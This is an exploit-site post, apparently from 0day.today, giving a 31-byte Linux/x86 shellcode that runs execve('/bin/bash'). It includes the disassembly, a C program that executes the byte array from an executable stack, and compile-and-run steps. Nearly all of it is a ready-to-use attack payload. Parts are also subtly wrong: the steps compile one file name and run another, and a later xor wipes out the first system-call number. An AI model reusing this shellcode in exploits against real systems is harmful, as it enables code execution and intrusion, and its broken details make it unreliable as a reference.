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linux/x86 - execve(/bin/bash) - 31 bytes
[/*
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Linux/x86 - execve(/bin/bash) - 31 bytes
Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]
Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |
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Disassembly of section .text:
08048060 <.text>:
8048060: b0 46 mov $0x46,%al
8048062: 31 c0 xor %eax,%eax
8048064: cd 80 int $0x80
8048066: eb 07 jmp 0x804806f
8048068: 5b pop %ebx
8048069: 31 c0 xor %eax,%eax
804806b: b0 0b mov $0xb,%al
804806d: cd 80 int $0x80
804806f: 31 c9 xor %ecx,%ecx
8048071: e8 f2 ff ff ff call 0x8048068
8048076: 2f das
8048077: 62 69 6e bound %ebp,0x6e(%ecx)
804807a: 2f das
804807b: 62 61 73 bound %esp,0x73(%ecx)
804807e: 68 .byte 0x68
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How To Run
$ gcc -o bash_shell bash_shell.c
$ execstack -s local_bash
$ ./ local_bash
---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\xb0\x46\x31\xc0\xcd\x80\xeb\x07\x5b\x31\xc0\xb0\x0b\xcd\x80\x31\xc9\xe8\xf2\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68";
void main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();
}
# 0day.today [2024-11-15] #